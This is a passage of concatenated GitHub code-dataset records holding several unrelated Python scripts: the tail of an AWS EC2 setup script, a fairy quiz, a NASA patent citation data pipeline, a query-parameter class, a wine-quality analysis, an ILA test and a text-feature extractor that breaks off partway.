ec2.delete_key_pair(KeyName=keyName)\n\ndef main():\n keyPairName= \"CloudKeyPair\"\n #generating random name for the security group\n randomValue = random.randint(1, 100)\n securityGroupName = \"Cloud\"\n \n if (len(sys.argv) >= 2): \n #terminating the instance\n terminate_instance(sys.argv[1])\n print(\"The instance is terminated\")\n \n #removing the key-pair files\n removeKeyPair(keyPairName)\n print(\"The key is been deleted from the system and AWS\")\n\n else:\n removeKeyPair(keyPairName)\n # removeKeyAWS(keyPairName)\n create_key_pair(keyPairName)\n \n securityGroup = create_security_group(securityGroupName+str(randomValue), \"Security Group\")\n instance = create_instance(keyPairName, securityGroup)\n \n # to display all the instances\n list_instances()\n\n print('\\nTerminate the instance by providing the instance-id as argument\\n')\n\nif __name__ == '__main__': main()","repo_name":"avaiyang/AWS-EC2-Programmatically","sub_path":"Ec2-instance.py","file_name":"Ec2-instance.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"2953989174","text":"#Code to accept names of the 6 Winx Saga Fairies and ask user for their fairy type.\n\nfairies = [] #empty list to collect input of fairies\nvalid_fairies = [\"Bloom\",\"Aisha\",\"Musa\",\"Terra\",\"Flora\",\"Stella\"] #list holding valid names of fairies the program will run user input through to validate\n\nfor i in range(6): #ask for 6 inputs\n while True:\n name_of_fairies = input(f\"Enter name of fairy {i + 1}: \") #ask user to input names, i+1 to make it look like \"Enter name of fairy 1\"\n if len(name_of_fairies) != 0 and name_of_fairies in valid_fairies : # Add names to the empty list if and only if the length of the list is not zero and the names of fairies inputted corresponds with the valid list containing fairy names\n fairies.append(name_of_fairies) #Add input to empty list\n break #leave loop and continue\n else:\n print(\"Invalid Fairy Name!\") #If those conditions aren't met, print this\n\ntypes_of_fairies = [\"Fire Fairy\", \"Water Fairy\", \"Mind Fairy\", \"Earth Fairy\", \"Nature Fairy\", \"Light Fairy\"] #List containing each type of fairy from the valid_fairies list\n\nif len(fairies) > 2: # Check if there are at least 3 fairies\n \n fairy_index = 2 #Index of the fairy in the list the question will be based on\n \n if len(fairies) > fairy_index: #check if the inputs in the fairies list is more than the fairy index, i.e it checks if there are more than 3 fairies in the list so it has enough input to continue\n fairy_name = fairies[fairy_index] #variable fairy name is equal to the value of the fairy index. The name of the fairy in fairy index is stored in this variable\n if fairy_name in valid_fairies: #checks if the name of the fairy is one of the valid names in the list\n index_in_valid_fairies = valid_fairies.index(fairy_name) #variable stores the index of the fairy name in the list of valid fairy names\n fairy_type = types_of_fairies[index_in_valid_fairies] #variable uses the index gotten from the list of valid fairies and equates it to the same index in the type of fairies list\n fairy_question= input(f\" What type of fairy is {fairy_name}?: \") #ask the type of fairy based on the fairy name\n if fairy_question == fairy_type: #if the input is correct, print..\n print(\"Indisputably correct!\")\n else: #else print...\n print(\"FAIL!\")\n else: #if fairy is not in list..\n print(\"Fairy not in list\")\n else: #if the amount of fairies in the list is less than the fairy index...i.e if the amount of input given to the program is less than the fairy index, it cannot continue\n print(f\"Amount of fairies must be at least {fairy_index + 1}\")\n \n \nelse: #if there aren't three fairies in the list at least...\n print (\"Enter up to three fairies\")\n","repo_name":"hamzakhan663/Learning-PY","sub_path":"FateFairies.py","file_name":"FateFairies.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"23417141972","text":"# This script takes the Fleming et al. (2019) data and the USPTO HPDF (Marco et al, 2015)\n# data to construct a technology subclass by year panel dataset for the main analysis in\n# Public R&D and Spillovers: Evidence from NASA Patents (Chau, 2022)\n\nimport pandas as pd\nimport numpy as np\nimport os\nimport gc\n\nos.chdir(\"/Users/terencechau/Dropbox/Work/Research\")\n\n# Load Fleming data, which contains federal reliance attribution for each patent\n# Metadata contains specifies the federal agency involved\n# Category details the type of federal reliance\n# Note: R version loads the original tsvs using data.table, but Python can't parse a\n# typo with an extra quotation mark in the data, so the files have been converted to csv\n# and engine set to \"python\" to work here\nfleming_data = pd.read_csv(\n \"NASA/input/government_patents/uspto.govt.reliance.metadata.csv\", engine=\"python\"\n)\nfleming_data_2 = pd.read_csv(\n \"NASA/input/government_patents/uspto.govt.reliance.category.csv\", engine=\"python\"\n)\nfleming_data.columns = fleming_data.columns.str.lower()\nfleming_data_2.columns = fleming_data_2.columns.str.lower()\n\n# Save patents that are directly owned or contracted by a federal agency\ncategory_1_2 = fleming_data_2.query(\n \"category_1_owned_by_usgovt==1|category_2_acknowledge_usgovt_support==1\"\n)[\"patno\"]\n\nfleming_data = fleming_data.query(\"patno in @category_1_2\")\ndel category_1_2\n\n# Load HPDF data, which contains all patents issued and their technology classification\nall_patents = pd.read_csv(\n \"Patents/input/USPTO HPDF/historical_masterfile.csv\",\n dtype={\"uspc\": str, \"uspc_sub\": str, \"disp_dt\": str},\n)\n\n# Drop patents with non-valid USPC codes\ninvalid_uspcs = [\"\", \"000\", \"PLT\", \"XXX\", \"999\"]\nall_patents = all_patents.loc[np.logical_not(all_patents[\"uspc\"].isin(invalid_uspcs))]\nall_patents = all_patents.dropna(subset=\"uspc\")\n\n# Drop design patents\nall_patents = all_patents.loc[np.logical_not(all_patents[\"uspc\"].str.contains(\"D\"))]\n\n# Drop patents with non-valid USPC subclass codes\ninvalid_uspc_subs = [\"\", \"PCT\", \"XXX\"]\nall_patents = all_patents.loc[\n np.logical_not(all_patents[\"uspc_sub\"].isin(invalid_uspc_subs))\n]\nall_patents = all_patents.dropna(subset=\"uspc_sub\")\n\nall_patents = all_patents.rename(columns={\"patent\": \"patent_id\"})\nfleming_data = fleming_data.rename(columns={\"patno\": \"patent_id\"})\n\nall_patents[\"uspc\"] = all_patents[\"uspc\"].map(str).str.replace(\"\\.[0-9]*\", \"\")\nall_patents[\"uspc_sub\"] = all_patents[\"uspc_sub\"].map(str)\nall_patents[\"uspc_sub_long\"] = all_patents[\"uspc\"].str.cat(\n all_patents[\"uspc_sub\"], sep=\"_\"\n)\nall_patents[\"year_issue\"] = all_patents[\"disp_dt\"].str[5:]\nall_patents[\"year_issue\"] = all_patents[\"year_issue\"].astype(\"Int64\")\n\n# Add technology class to government patents\ngovt_patents = pd.merge(\n fleming_data[\n [\"patent_id\", \"grantyear\", \"dod\", \"doe\", \"nasa\", \"nsf\", \"hhs\", \"usda\", \"others\"]\n ],\n all_patents[[\"patent_id\", \"uspc\", \"uspc_sub_long\"]],\n how=\"left\",\n on=\"patent_id\",\n)\n\n#################################################################################\n############################# GET CITATIONS #####################################\n#################################################################################\n\n# Prepare citation data\n\n# Load citation data from Fleming\nold_citations = pd.read_table(\n \"NASA/input/government_patents/uspto.citation.1926-1975.tsv\"\n)\nnew_citations = pd.read_table(\n \"NASA/input/government_patents/uspto.citation.1976-2017.tsv\"\n)\n\n# Filter to citations made to US patents\nnew_citations = new_citations.query(\"country in ['US', 'USA']\")\n\n# Clean and count forward citations for each patent in the Fleming data\nold_citations = old_citations.drop(columns=\"id\")\nnew_citations = new_citations.drop(columns=\"country\")\n\ncitations = pd.concat([old_citations, new_citations])\n\ndel old_citations\ndel new_citations\ngc.collect()\n\ncitations[\"cited\"] = citations[\"cited\"].astype(\"string\")\ncitations[\"citing\"] = citations[\"citing\"].astype(\"string\")\ncitations = citations[citations[\"cited\"].str.contains(\"^[0-9]+$\")]\ncitations = citations[citations[\"citing\"].str.contains(\"^[0-9]+$\")]\n\n# Identify if citing or cited patents are NASA\nnasa_patent_ids = fleming_data.query(\"nasa > 0\")[\"patent_id\"]\n\ncitations[\"citing_nasa\"] = np.where(citations[\"citing\"].isin(nasa_patent_ids), 1, 0)\ncitations[\"cited_nasa\"] = np.where(citations[\"cited\"].isin(nasa_patent_ids), 1, 0)\n\n# Merge cited patent year of issue and uspc into citations data from HPDF file\nall_patents = all_patents.rename(\n columns={\n \"patent_id\": \"cited\",\n \"year_issue\": \"cited_year\",\n \"uspc\": \"cited_uspc\",\n \"uspc_sub_long\": \"cited_uspc_sub\",\n }\n)\ncitations = pd.merge(\n citations,\n all_patents[[\"cited\", \"cited_year\", \"cited_uspc\", \"cited_uspc_sub\"]],\n how=\"left\",\n on=\"cited\",\n)\n\n# Merge citing patent year of issue and uspc into citations data from HPDF file\nall_patents = all_patents.rename(\n columns={\n \"cited\": \"citing\",\n \"cited_year\": \"citing_year\",\n \"cited_uspc\": \"citing_uspc\",\n \"cited_uspc_sub\": \"citing_uspc_sub\",\n }\n)\ncitations = pd.merge(\n citations,\n all_patents[[\"citing\", \"citing_year\", \"citing_uspc\", \"citing_uspc_sub\"]],\n how=\"left\",\n on=\"citing\",\n)\n\ncitations[\"citation_delta\"] = citations[\"citing_year\"] - citations[\"cited_year\"]\n\n# Reset names in all patents\nall_patents = all_patents.rename(\n columns={\n \"citing\": \"patent_id\",\n \"citing_year\": \"year_issue\",\n \"citing_uspc\": \"uspc\",\n \"citing_uspc_sub\": \"uspc_sub_long\",\n }\n)\n\n# Count citations at the subclass by year level\n# For each citation outcome, count: total, total excluding NASA, leave one out\n# subclass (LOO), leave one out excluding NASA, leave one out broad class (LOO B),\n# leave one out broad excluding NASA.\n# Also count number of other subclasses citing reference class\ncitations[\"cond_1\"] = np.where(\n np.logical_or(citations[\"cited_nasa\"] != 1, citations[\"citing_nasa\"] != 1),\n 1,\n 0,\n)\n\ncitations[\"cond_2\"] = np.where(\n np.logical_not(citations[\"cited_uspc_sub\"] == citations[\"citing_uspc_sub\"]),\n 1,\n 0,\n)\n\ncitations[\"cond_3\"] = np.where(\n np.logical_not(citations[\"cited_uspc\"] == citations[\"citing_uspc\"]), 1, 0\n)\n\ncitations[\"cond_4\"] = np.where(\n np.logical_not(citations[\"citation_delta\"].isin(np.arange(0, 20))), 1, 0\n)\n\ncitations[\"cond_5\"] = np.where(\n np.logical_and(citations[\"cond_1\"], citations[\"cond_2\"]), 1, 0\n)\n\ncitations[\"cond_6\"] = np.where(\n np.logical_and(citations[\"cond_1\"], citations[\"cond_3\"]), 1, 0\n)\n\ncitations[\"cond_7\"] = np.where(\n np.logical_and(citations[\"cond_1\"], citations[\"cond_4\"]), 1, 0\n)\n\ncitations[\"cond_8\"] = np.where(\n np.logical_and(citations[\"cond_2\"], citations[\"cond_4\"]), 1, 0\n)\n\ncitations[\"cond_9\"] = np.where(\n np.logical_and(citations[\"cond_3\"], citations[\"cond_4\"]), 1, 0\n)\n\ncitations[\"cond_10\"] = np.where(\n np.logical_and(citations[\"cond_5\"], citations[\"cond_4\"]),\n 1,\n 0,\n)\n\ncitations[\"cond_11\"] = np.where(\n np.logical_and(citations[\"cond_6\"], citations[\"cond_4\"]),\n 1,\n 0,\n)\n\n# Get lifetime and 20 year window citations\ncitations_df_1 = citations.groupby(\n [\"cited_uspc_sub\", \"cited_year\"], as_index=False\n).agg(\n citations_lifetime=(\"citing\", \"count\"),\n citations_lifetime_excl_nasa=(\"cond_1\", \"sum\"),\n citations_lifetime_loo=(\"cond_2\", \"sum\"),\n citations_lifetime_loo_excl_nasa=(\"cond_5\", \"sum\"),\n citations_lifetime_loo_b=(\"cond_3\", \"sum\"),\n citations_lifetime_loo_b_excl_nasa=(\"cond_6\", \"sum\"),\n citations_20_yr=(\"cond_4\", \"sum\"),\n citations_20_yr_excl_nasa=(\"cond_7\", \"sum\"),\n citations_20_yr_loo=(\"cond_8\", \"sum\"),\n citations_20_yr_loo_excl_nasa=(\"cond_10\", \"sum\"),\n citations_20_yr_loo_b=(\"cond_9\", \"sum\"),\n citations_20_yr_loo_b_excl_nasa=(\"cond_11\", \"sum\"),\n)\n\n# Get citations by year\ncitations_df_2 = citations.groupby(\n [\"cited_uspc_sub\", \"citing_year\"], as_index=False\n).agg(\n citations_year=(\"citing\", \"count\"),\n citations_year_excl_nasa=(\"cond_1\", \"sum\"),\n citations_year_loo=(\"cond_2\", \"sum\"),\n citations_year_loo_excl_nasa=(\"cond_5\", \"sum\"),\n citations_year_loo_b=(\"cond_3\", \"sum\"),\n citations_year_loo_b_excl_nasa=(\"cond_6\", \"sum\"),\n)\n\n# Fix names and merge into one df\n# Note from now on, uspc_sub refers to the cited uspc_sub\ncitations_df_1 = citations_df_1.rename(columns={\"cited_year\": \"year\"})\ncitations_df_2 = citations_df_2.rename(columns={\"citing_year\": \"year\"})\n\ncitations_df = pd.merge(\n citations_df_1, citations_df_2, on=[\"cited_uspc_sub\", \"year\"], how=\"outer\"\n)\n\ndel citations\ndel citations_df_1\ndel citations_df_2\ngc.collect()\n\ncitations_df = citations_df.dropna(subset=[\"cited_uspc_sub\", \"year\"], how=\"any\")\ncitations_df = citations_df[\n np.logical_and(citations_df[\"year\"] != \"\", citations_df[\"cited_uspc_sub\"] != \"\")\n]\n\ncitations_df = citations_df.rename(columns={\"cited_uspc_sub\": \"uspc_sub\"})\ncitations_df = citations_df.sort_values(by=[\"uspc_sub\", \"year\"])\n\n#################################################################################\n############################## GET COUNTS #######################################\n#################################################################################\n\n# Counts by issue year\ncounts_issued = all_patents.groupby(\n [\"uspc_sub_long\", \"year_issue\"], as_index=False\n).agg(issued=(\"patent_id\", \"count\"))\ncounts_issued = counts_issued.rename(columns={\"year_issue\": \"year\"})\ncounts_issued = counts_issued.dropna(subset=[\"uspc_sub_long\", \"year\"], how=\"any\")\ncounts_issued = counts_issued.sort_values(by=[\"uspc_sub_long\", \"year\"])\n\n# Counts by issue year without NASA\nall_patents[\"not_nasa\"] = np.where(all_patents[\"patent_id\"].isin(nasa_patent_ids), 0, 1)\ncounts_issued_excl_nasa = all_patents.groupby(\n [\"uspc_sub_long\", \"year_issue\"], as_index=False\n).agg(issued_excl_nasa=(\"not_nasa\", \"sum\"))\ncounts_issued_excl_nasa = counts_issued_excl_nasa.rename(columns={\"year_issue\": \"year\"})\ncounts_issued_excl_nasa = counts_issued_excl_nasa.dropna(\n subset=[\"uspc_sub_long\", \"year\"]\n)\ncounts_issued_excl_nasa = counts_issued_excl_nasa.sort_values(\n by=[\"uspc_sub_long\", \"year\"]\n)\n\n# Counts by application year (using Enrico's data)\ncusp_years = pd.read_csv(\"CUSP Berkes Data/patents_fyear_iyear_1940_1980.csv\")\ncusp_years = cusp_years.rename(columns={\"patnum\": \"patent_id\", \"fyear\": \"year\"})\ncusp_years[\"patent_id\"] = cusp_years[\"patent_id\"].astype(\"string\")\ncusp_years[\"year\"] = cusp_years[\"year\"].astype(\"Int64\")\ncusp_years = pd.merge(\n cusp_years, all_patents[[\"patent_id\", \"uspc_sub_long\"]], on=\"patent_id\", how=\"left\"\n)\ncounts_applied = cusp_years.groupby([\"uspc_sub_long\", \"year\"], as_index=False).agg(\n applied=(\"patent_id\", \"count\")\n)\n\ncounts_df = pd.merge(\n counts_issued, counts_issued_excl_nasa, on=[\"uspc_sub_long\", \"year\"], how=\"outer\"\n)\ncounts_df = pd.merge(\n counts_df, counts_applied, on=[\"uspc_sub_long\", \"year\"], how=\"outer\"\n)\ncounts_df = counts_df.rename(columns={\"uspc_sub_long\": \"uspc_sub\"})\ncounts_df = counts_df.dropna(subset=\"uspc_sub\")\ncounts_df = counts_df.sort_values(by=[\"uspc_sub\", \"year\"])\n\ndel counts_issued\ndel counts_issued_excl_nasa\ndel counts_applied\ndel cusp_years\ngc.collect()\n\n#################################################################################\n##################### GET FIRST YEAR FOR EACH USPC_SUB ##########################\n#################################################################################\n\nfirst_year = all_patents.groupby(\"uspc_sub_long\", as_index=False).agg(\n first_year=(\"year_issue\", \"min\")\n)\nfirst_year = first_year.rename(columns={\"uspc_sub_long\": \"uspc_sub\"})\n\n#################################################################################\n######################### CREATE EVENT STUDY DF #################################\n#################################################################################\n\n# Assemble control group and DOD/NASA overlaps\nagency_list = [\"dod\", \"nasa\", \"doe\", \"nsf\", \"hhs\", \"usda\", \"others\"]\ngovt_patents[agency_list] = (govt_patents[agency_list] > 0).astype(\"Int64\")\ngovt_classes = govt_patents.groupby(by=\"uspc_sub_long\").sum(numeric_only=True)[\n agency_list\n]\ngovt_classes = govt_classes.loc[(govt_classes != 0).any(axis=1)]\ngovt_classes = govt_classes.reset_index(level=0)\n\ngovt_classes_pre = (\n govt_patents.query(\"grantyear >= 1948 and grantyear <= 1980\")\n .groupby(by=\"uspc_sub_long\")\n .sum(numeric_only=True)[agency_list]\n)\ngovt_classes_pre = govt_classes_pre.loc[(govt_classes_pre != 0).any(axis=1)]\ngovt_classes_pre = govt_classes_pre.reset_index(level=0)\n\nnasa_classes = govt_classes.loc[govt_classes[\"nasa\"] > 0]\nnasa_dod_overlap = nasa_classes.loc[nasa_classes[\"dod\"] > 0]\n\n# Prepare regression sample:\n# 1. Subset all data from 1948 to 1980\n# 2. Narrow technology classes that were present before 1958\n# 3. Classes that some government agency worked on before 1958 (control) and NASA classes\n# worked on 1958 to 1972 (treatment).\n# 4. Classes that do already exist get NA filled with zero but only after their existence year\n# (because the class is confirmed to exist, but not all years will get a patent)\n\nevent_study_df = pd.merge(citations_df, counts_df, on=[\"uspc_sub\", \"year\"], how=\"outer\")\nevent_study_df = event_study_df.loc[\n np.logical_and(event_study_df[\"year\"] >= 1948, event_study_df[\"year\"] <= 1980)\n]\n\npre_1958_uspcs = first_year.loc[first_year[\"first_year\"] <= 1958, \"uspc_sub\"]\nevent_study_df = event_study_df.loc[event_study_df[\"uspc_sub\"].isin(pre_1958_uspcs)]\nevent_study_df = event_study_df.loc[\n event_study_df[\"uspc_sub\"].isin(\n np.logical_or(govt_classes_pre[\"uspc_sub_long\"], nasa_classes[\"uspc_sub_long\"])\n )\n]\nevent_study_df = event_study_df.fillna(0)\n\nevent_study_df[\"treated\"] = (\n event_study_df[\"uspc_sub\"].isin(nasa_classes[\"uspc_sub_long\"]).astype(\"int\")\n)\nevent_study_df[\"event_time\"] = np.where(\n event_study_df[\"treated\"] == 1, event_study_df[\"year\"] - 1958, 0\n)\nevent_study_df[\"D\"] = (event_study_df[\"treated\"] * event_study_df[\"event_time\"]).astype(\n \"category\"\n)\n\nevent_study_df.to_csv(\"NASA/final_output/event_study_df_python.csv\")\n","repo_name":"terencechau/space-race-spillovers","sub_path":"other/python/1_prepare_data.py","file_name":"1_prepare_data.py","file_ext":"py","file_size_in_byte":14125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31353465204","text":"class QueryParam(object):\n \"\"\"\n ...\n Examples:\n @GetMapping('/users')\n def test(self, limit: QueryParam('limit', 10, int)):\n ...\n \"\"\"\n\n def __init__(self, name: str, _type: type, default: any = None) -> None:\n self.name: str = name\n self.default = default\n self._type = _type\n\n def get_value(self, query_params: dict[str, str]):\n v = query_params.get(self.name, self.default)\n if v is not None:\n return self._type(v)\n return v\n","repo_name":"florianbematol/py3server","sub_path":"py3server/web/params/query_param.py","file_name":"query_param.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34601693913","text":"from turtle import color\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sklearn\nfrom sklearn import metrics\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder \nfrom sklearn.metrics import accuracy_score,precision_score,recall_score\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\n# Importar DB\n\nurl_red = 'https://raw.githubusercontent.com/terranigmark/curso-analisis-exploratorio-datos-platzi/main/winequality-red.csv'\nurl_white = 'https://raw.githubusercontent.com/terranigmark/curso-analisis-exploratorio-datos-platzi/main/winequality-white.csv'\n\nwine_red = pd.read_csv(url_red, sep=';')\nwine_white = pd.read_csv(url_white, sep=';')\n\nwine_white.head()\n\n# Forma 1 de unir los DF red & white\n\nwine_red['color'] = 'red'\nwine_white['color'] = 'white'\n\n\ndf_wine = wine_red.append(wine_white)\ndf_wine\nprint('='*158)\n\n# Forma 2 de unir los DF red & white\n\ndf_wine = pd.concat([wine_red, wine_white])\nprint(df_wine.head())\nprint('='*158)\n\n# Determinamos los valores estadisticos de algunas de las variables de forma transpuesta\n\nprint(df_wine.describe().T)\nprint('='*158)\n\n# Ploteo los valores\ndf_wine.plot()\nplt.title(\"wine variables\")\nplt.show()\n\n# Grafico la densidad\n\ndf_wine['density'].plot()\nplt.title(\"Wine Density\", fontsize= 20, pad='15',fontstyle='italic')\nplt.xlabel('Variables')\nplt.ylabel('Density')\nplt.show()\n\n#R/= Descubro que la densidad posee valores atipicos \n\n# Descubro cuales son valores que determinan la calidad del vino y los grafico\nsns.set(rc={'figure.figsize': (14, 8)})\nsns.countplot(df_wine['quality'])\nplt.title(\"Wine Quality\", fontsize= 20, pad='15',fontstyle='italic')\nplt.show()\n\n#R/ = Por indagacion previa, se descubrio que mientras mas alto el valor mejor es la calidad del vino.\n# Por eso divido la calidad del vino en sus 3 mayores valores que corresponden a \n# Baja <= 5, Media = 6, Alta => 7\n\n# Hago una visualizacion grafica de los patrones. Se observan las distribuciones de las mismas\n# sns.pairplot(df_wine)\n# plt.show()\n\n# Grafico la correlacion entre las variables\n\nsns.heatmap(df_wine.corr(), annot = True, fmt = '.2f', linewidths = 2, cmap = 'coolwarm')\nplt.title(\"Correlation Diagram\", fontsize= 20, pad='15',fontstyle='italic')\nplt.show()\n\n# Debido a la alta correlacion que existe entre el alcohol y la densidad, procedemos a hacer su \n# respectiva grafica comparativa\n\nsns.distplot(df_wine['alcohol'])\nplt.title(\"Alcohol vs Density\", fontsize= 20, pad='15',fontstyle='italic')\nplt.show()\n\n# R/= El alcohol es muy importante para determinar la calidad del vino debido a su alta correlacion\n\nsns.boxplot(x='quality', y='alcohol', data=df_wine)\nplt.title(\"Boxplot Density vs Alcohol\", fontsize= 20, pad='15',fontstyle='italic')\nplt.show()\n\n#R/= Se observa en el grafico de cajas que la calidad del vino 5 posee una cantidad considerable de \n# datos atipicos (outliers)\n\ndf_wine['quality_label'] = df_wine['quality'].apply(lambda value: ('low' if value <= 5 else 'medium') if value <= 7 else 'high')\nprint(df_wine)\nprint('='*158)\n\n# Convierto la valriable 'quality_label en categorica'\n\ndf_wine['quality_label'] = pd.Categorical(df_wine['quality_label'], categories=['low', 'medium', 'high'])\nprint(df_wine)\nprint(df_wine.dtypes)\nprint('='*158)\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = df_wine.hist(bins=15, color='b', edgecolor='darkmagenta', linewidth=1.0, xlabelsize=10, ylabelsize=10, xrot=45, yrot=0, figsize=(8,7), grid=False)\nplt.tight_layout(rect=(0, 0, 1.5, 1.5))\nplt.show()\n\n# Analisis de Regresion con Scikit-Learn \n\n# Convierto la variable quality_label de categorica string en categorica numerica\n\nlabel_quality = LabelEncoder()\ndf_wine['quality_label'] = label_quality.fit_transform(df_wine['quality_label'])\nprint(df_wine['quality_label'].unique())\nprint('='*158)\n\n# R/= Se convirtieron los valores de la variable quality_label en numerica. se puede observar que low=1, medium=2, high=0\n\n# Solo trabajo con las columnas de interes\n\ndf_wine_training = df_wine.drop(['color', 'quality_label'], axis=1)\nX = df_wine_training.values\ny = df_wine['quality_label'].values\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size= .30, random_state=42)\n\n# Aplicando Regresion Logistica\n\nlogreg = LogisticRegression()\nlogreg.fit(X_train, y_train)\ny_pred = logreg.predict(X_test)\n\nprint('Exactitud de:', sklearn.metrics.accuracy_score(y_test, y_pred))\n# R/= Con LogisticRegression() Se alcanzo una exactitud del 94%\n\n# Aplicando KNearestNeighbors\n\n#model_names=['KNearestNeighbors']\n\n#acc=[]\n#eval_acc={}\n#classification_model=KNeighborsClassifier()\n#classification_model.fit(X_train,y_train)\n#pred=classification_model.predict(X_test)\n#acc.append(accuracy_score(pred,y_test))\n#eval_acc={'Modelling Algorithm':model_names,'Accuracy':acc} \n\n#print('Exactitud de:', eval_acc)\n\n# R/= Con KNearestNeighbors se alcanzo una exactitud del 71%\n","repo_name":"richardon13/quality_wine","sub_path":"quality_wine.py","file_name":"quality_wine.py","file_ext":"py","file_size_in_byte":4962,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36381365637","text":"import ila\nimport os\nfrom random import randint\n\ndef main():\n c = ila.Abstraction(\"test\")\n\n top = c.bool(True)\n bot = c.bool(False)\n\n x = c.reg('x', 8)\n y = c.reg('y', 8)\n\n g = c.fun('cnst', 8, [])\n h1 = ila.appfun(g, [])\n h2 = c.const(40, 8)\n c.add_assumption((h1 >= 10) & (h1 <= 15))\n val = ila.choice('val', h1, h2)\n res = val + x + y\n\n def sim(d):\n x = d['x']\n y = d['y']\n d_out = {}\n d_out['res'] = (x + y + randint(11, 12)) & 0xff\n return d_out\n\n res_s = c.syn_elem('res', res, sim)\n assert c.areEqual(res_s, h1 + x + y)\n\n z = c.reg('z', 16)\n c0 = c.const(0, 8)\n c1 = c.const(1, 8)\n cmax = c.const(255, 8)\n \n f = c.fun('foo', 8, [8, 16])\n r = ila.appfun(f, x, z)\n t = ila.appfun(f, y, z)\n eq = x == y\n req = r == t\n assert c.areEqual(ila.implies(eq, req), top)\n\n assert c.areEqual(r <= cmax, top)\n\n up = c.const(128, 8)\n down = c.const(120, 16)\n con = ila.implies((x < up) & (z > down), ila.appfun(f, x, z) > up)\n test = ila.implies(con & (x == 125) & (z == 125), ila.appfun(f, x, z) > up)\n assert c.areEqual(test, top)\n\n x_next = ila.appfun(f, y, z)\n c.set_next('x', x_next)\n\n exportFile = 'tmp/test_ila_export.txt'\n c.exportAll(exportFile)\n c.importAll(exportFile)\n\n simFile = 'tmp/test_ila_sim.hpp'\n c.generateSim(simFile)\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhanghongce/TACAS-artifact","sub_path":"ILAng/ILA-Tools/py-tmpl-synth/test/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"21903137432","text":"from __future__ import division, unicode_literals\nimport nltk\nfrom nltk.corpus import PlaintextCorpusReader\nfrom nltk import Text\n\ngenreList = [u'adventure', u'belles_lettres', u'editorial', u'fiction', u'government', u'hobbies', u'humor', u'learned', u'lore', u'mystery', u'news', u'religion', u'reviews', u'romance', u'science_fiction']\nimport os\nimport csv\nfrom sys import argv\nimport re\nimport numpy as np\nfrom textblob import TextBlob as tb\nimport math\nfrom sklearn.feature_extraction.text import TfidfVectorizer, TfidfTransformer\nimport string\nfrom nltk import word_tokenize\n\n# 1. directory of extracting\n# 2. output location\n# 3. output filename\n\n\n# Find the word frequencies in all the texts in corpora(ratio)\n# Find the word frequency in the text (ratio)\n# Multiply them\nmapFeatures = {}\ntitle = ['ID','File Name', 'Single Sentence Paragraph Count', 'Single sentence paragraph/ sentence ratio',\n 'Paragraph Length Mean', 'Closing parenthesis frequency',\n 'Opening Parenthesis Frequency', 'Number frequency',\n 'Forward slash frequency', 'Single sentence distribution value',\n 'Colon frequency', 'Sentence length mean', 'Top 10 tf-idf average precision','Type/token ratio',\n 'Document Length', 'Paragraph Length STD', 'Hyphen Frequency']\n\ndef countExists(numCount, symbol, words):\n if (symbol in words):\n numCount += 1\n return numCount\n\nmy_sent_tokenizer = nltk.RegexpTokenizer('[^.!?]+')\n#corpus1 = PlaintextCorpusReader(os.getcwd() + '/' + argv[1], '.*txt', sent_tokenizer=my_sent_tokenizer)\n\ncorpus1 = PlaintextCorpusReader(os.getcwd() + '/' + argv[1], '.*txt')\noutputFile = open(os.getcwd() + '/' + argv[2] + '/' + argv[3], 'w')\noutput_writer = csv.writer(outputFile)\noutput_writer.writerow(title)\n\ntotalWords = corpus1.words()\ndistinct = {}\n\ncountDocument = 0\nfor w in totalWords:\n if w in distinct:\n distinct[w] += 1\n else:\n distinct[w] = 1\n\nfor j in distinct.keys():\n distinct[j] = distinct[j] / len(totalWords)\n\n\nfor i in corpus1.fileids():\n countDocument += 1\n totalWordLength = 0.0\n totalSentLength = 0.0\n maxSentLength = 0.0\n meanSentLength = 0.0\n avgParagraphLength = 0.0\n numParagraphs = 0.0\n numwords = 0.0\n numNumber = 0.0\n\n print (\"Percentage of completion\")\n print (countDocument / float(len(corpus1.fileids())))\n paraLengthMean = 0.0\n distinctWordList = []\n\n numOpenParantheses = 0.0\n numClosedParantheses = 0.0\n avgOpenParantheses = 0.0\n avgClosedParantheses = 0.0\n\n numForwardSlash = 0.0\n numColon = 0.0\n numHyphen = 0\n numQuotation = 0\n corpus0 = PlaintextCorpusReader(os.getcwd() + '/' + argv[1] + '/', i)\n words = corpus0.words()\n sentences = corpus0.sents()\n paras = corpus0.paras()\n\n numWords = len(corpus0.words())\n numParagraphs = len(paras)\n\n numSingleSentPara = 0\n paraLengthList = []\n listUniCodeChar = u'.!?;'\n middleDocument = float (len(sentences)/ 2)\n singleSentDistributionArray = []\n sentLocation = 0\n tfidfList = []\n\n wordFreq = {}\n for p in paras:\n sentCount = 0\n #List of words in each paragraph\n for word in p:\n\n #Go through each word\n for w in word:\n if (w in listUniCodeChar):\n sentCount +=1\n sentLocation +=1\n\n if (sentCount == 1):\n numSingleSentPara +=1\n singleSentDistributionArray.append((sentLocation-middleDocument))\n\n paraLengthList.append(len(p))\n\n avgSingleSentDist = np.mean(singleSentDistributionArray)\n ratioSingleSentPara= numSingleSentPara/len(sentences)\n if (len(paraLengthList) > 1):\n stdParaLength = np.std(paraLengthList, ddof = 1)\n else:\n stdParaLength = 0\n\n for sent in sentences:\n totalSentLength += len(sent)\n if (len(sent) > maxSentLength):\n maxSentLength = len(sent)\n meanSentLength = totalSentLength / len(sentences)\n print (totalSentLength)\n print (\"Mean\")\n print (meanSentLength)\n print 